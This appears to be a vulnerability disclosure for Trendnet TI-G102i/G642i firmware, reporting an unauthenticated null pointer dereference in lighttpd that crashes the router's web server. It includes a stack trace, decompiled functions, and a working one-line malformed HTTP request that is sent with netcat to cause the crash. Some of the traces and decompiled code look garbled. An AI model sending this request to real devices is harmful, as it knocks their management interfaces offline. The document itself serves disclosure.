

Trendnet FW_TI_G102i_v1_1.0.8.S0_, FW_TI_G642i_v1_1.0.7.S0_ Local (LAN) Denial of Service Vulnerability, without Authentication

Basic Info

Vendor: Trendnet

Device: FW_TI_G102i, FW_TI_G642i

Version: FW_TI_G102i_v1_1.0.8.S0_, FW_TI_G642i_v1_1.0.7.S0_

Vulnerability Impact: Denial of Service

Vulnerability Type: Null Pointer dereference

Is authentication required: No

Vulnerability description

We discovered a null pointer reference vulnerability that can directly cause a web server in a remote device to crash without authentication, leading to a denial of service attack.

The vulnerability occurs in the `/usr/sbin/lighttpd` binary. When `httpd` receives a carefully constructed HTTP request, it will crash and exit due to a null pointer reference.

We discovered a null pointer reference vulnerability in the `/usr/sbin/lighttpd` binary that can crash a web server on a remote device without requiring authentication, resulting in a denial of service attack. The server crashes and exits when the program receives a specially crafted HTTP request.

The stack trace when the vulnerability is triggered is as follows:

poc:

```
"#0 buffer_init()",  
"#1 connection_init()",  
"#2 chunkqueue_init()",  
"#3 chunkqueue_set_tempdirs()",  
"#4 array_init()",  
"#5 config_setup_connection()",  
"#6 buffer_copy_string_buffer()",  
"#7 buffer_reset()",  
"#8 connection_accept()",  
"#9 connection_reset()",  
"#10 plugins_call_connection_reset()",  
"#11 array_reset()",  
"#12 chunkqueue_reset()",  
"#13 chunkqueue_remove_finished_chunks()",
```

"#14 fdevent_register()",
"#15 connection_set_state()",
"#16 inet_ntop_cache_get_ip()",
"#17 .inet_ntoa()",
"#18 buffer_copy_string()",
"#19 buffer_prepare_copy()",
"#20 .getsockname()",
"#21 .fprintf()",
"#22 fdevent_fcntl_set()",
"#23 sub_40CA50()",
"#24 connection_state_machine()",
"#25 sub_40A014()",
"#26 .ioctl()",
"#27 chunkqueue_get_append_buffer()",
"#28 sub_41A4C0()",
"#29 sub_41A5B4()",
"#30 .read()",
"#35 main()",
"#36 fdevent_poll()",
"#37 sub_422814()",
"#38 fdevent_event_next_fdndx()",
"#39 fdevent_event_get_revent()",
"#40 fdevent_event_get_fd()",
"#41 fdevent_get_handler()",
"#42 fdevent_get_context()",
"#43 sub_40AC74()",
"#44 joblist_append()",
"#45 buffer_append_string_buffer()",
"#46 buffer_append_string_len()",
"#47 buffer_prepare_append()",
"#48 http_request_parse()",
"#49 buffer_copy_string_len()",
"#50 get_http_method_key()",
"#51 keyvalue_get_key()",
"#52 http_response_prepare()",
"#53 .nvram_bufget()",
"#54 .atoi()",
"#55 .strstr()",
"#56 config_cond_cache_reset()",
"#57 config_cond_cache_reset_item()",
"#58 config_patch_connection()",
"#59 config_check_cond()",
"#60 plugins_call_handle_uri_raw()",
"#61 array_get_element()",
"#62 sub_41F7F8()",
"#63 array_get_element_klen()"

The vulnerability occurs in the function sequence `plugins\_call\_handle\_uri\_raw()` -> `array\_get\_element()` -> `sub\_41F7F8()`. The program attempts to read the URI from the first line of the HTTP request. However, when encountering a malformed packet, specifically when the HTTP request does not include any URI, a null pointer dereference occurs in this part of the code, causing the program to crash.

```

1 int __fastcall plugins_call_handle_uri_raw(int a1, int a2)
2 {
3     int v3; // [sp+28h] [-18h]
4     unsigned int i; // [sp+2Ch] [-14h]
5     int v5; // [sp+30h] [-10h]
6     unsigned int v6; // [sp+34h] [-Ch]
7
8     v3 = *(_DWORD *)((_DWORD *)a1 + 40) + 8;
9     if ( !v3 )
10         return 1;
11     for ( i = 0; ; ++i )
12     {
13         if ( i >= *(_DWORD *)a1 + 32 || !*(_DWORD *)4 * i + v3 )
14             return 1;
15         v5 = *(_DWORD *)4 * i + v3;
16         v6 = (*(int (__fastcall *)(int, int, _DWORD))(v5 + 36))(a1, a2, *(_DWORD *)v5 + 88);
17         if ( v6 != 1 )
18             break;
19     }
20     if ( v6 && v6 < 7 )
21         return v6;
22     log_error_write(a1, "plugin.c", 332, "sbs", "PLUGIN_FUNC_HANDLE_URI_RAW", *(_DWORD *)v5 + 4, "unknown state");
23     return 5;
24 }

```

call array_get_element_klen()

```

1 int __fastcall array_get_element_klen(_DWORD *a1, int a2, int a3)
2 {
3     int v4; // [sp+18h] [-8h]
4     int v5; // [sp+1Ch] [-4h]
5
6     if ( !a2 )
7         log_failed_assert("array.c", 141, "assertion failed: NULL != key");
8     v4 = sub_45596C(a1, a2, a3, 0);
9     if ( v4 == -1 )
10         v5 = 0;
11     else
12         v5 = *(_DWORD *)4 * v4 + *a1;
13     return v5;
14 }

```

v4 is null pointer

```

1 int __fastcall sub_45596C(_DWORD *a1, int a2, int a3, unsigned int *a4)
2 {
3     int v4; // $v0
4     unsigned int v6; // [sp+18h] [-20h]
5     signed int v7; // [sp+1Ch] [-1Ch]
6     unsigned int v8; // [sp+20h] [-18h]
7     _DWORD *v9; // [sp+24h] [-14h]
8     int v11; // [sp+30h] [-8h]
9
10    v6 = 0;
11    v7 = a1[2];
12    if ( v7 < 0 )
13        log_failed_assert("array.c", 114, "assertion failed: upper <= SSIZE_MAX");
14    while ( v6 != v7 )
15    {
16        v8 = (v6 + v7) >> 1;
17        v9 = **(_DWORD **)(4 * (_DWORD *) (4 * v8 + a1[1]) + *a1);
18        v11 = sub_455BB4(v9);
19        if ( v9 )
20            v4 = sub_4558C0(a2, a3, *v9, v11);
21        else
22            v4 = sub_4558C0(a2, a3, 0, v11);
23        if ( !v4 )
24        {
25            if ( a4 )
26                *a4 = v8;
27            return *(_DWORD *) (4 * v8 + a1[1]);
28        }
29        if ( v4 >= 0 )
30            v6 = v8 + 1;
31        else
32            v7 = (v6 + v7) >> 1;
33    }
34    if ( a4 )
35        *a4 = v6;
36    return -1;
37 }

```

PoC

We've attached 1 PoC that triggers the vulnerability. We also provided a minimized PoC that can trigger the vulnerability to help verify the issue and identify the root cause.

PoC:

PoC1:

<https://drive.google.com/file/d/1irEQCJRvcJbh1PdPbk0PRwJB8-fc5mYR/view?usp=sharing>

```

(base) → crash cat -A 529788701820059737
GET HNAP HTTP/1.0^M$
^M$

```

Result

When `/bin/lighttpd`, the web server, is started, sending any of the above PoCs will cause the program to crash and quit.

First, running the binary with QEMU.

```
# /qemu-mipsel-static /bin/lighttpd -f /etc_ro/lighttpd/lighttpd.conf
#
# /greenhouse/busybox netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 127.0.0.11:42387        0.0.0.0:*               LISTEN
tcp      0      0 0.0.0.0:80             0.0.0.0:*               LISTEN
udp      0      0 127.0.0.11:54249       0.0.0.0:*
#
#
# /greenhouse/busybox netstat -antu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp      0      0 127.0.0.11:42387        0.0.0.0:*               LISTEN
tcp      0      0 192.168.0.1:80         192.168.0.2:35950       TIME_WAIT
udp      0      0 127.0.0.11:54249       0.0.0.0:*
#
#
# ls
proc                ghdev
sys                 ghetc
fs                  ghproc
GREENHOUSE_BGLOG    ghtmp
GH_SUCCESSFUL_BIND  greenhouse
poc                 home
qemu_lighttpd_20241216-062155_215.core
core                init
                   init.sh
```

Second, send the PoC to the web server's listening address using netcat.

```
(base) → crash .cat 529788701820059737 | nc 192.168.0.1 80
(base) → crash
```

Third, check if the program has crashed. (In this example, the program crashes and generates a core dump file, but there is no output message.)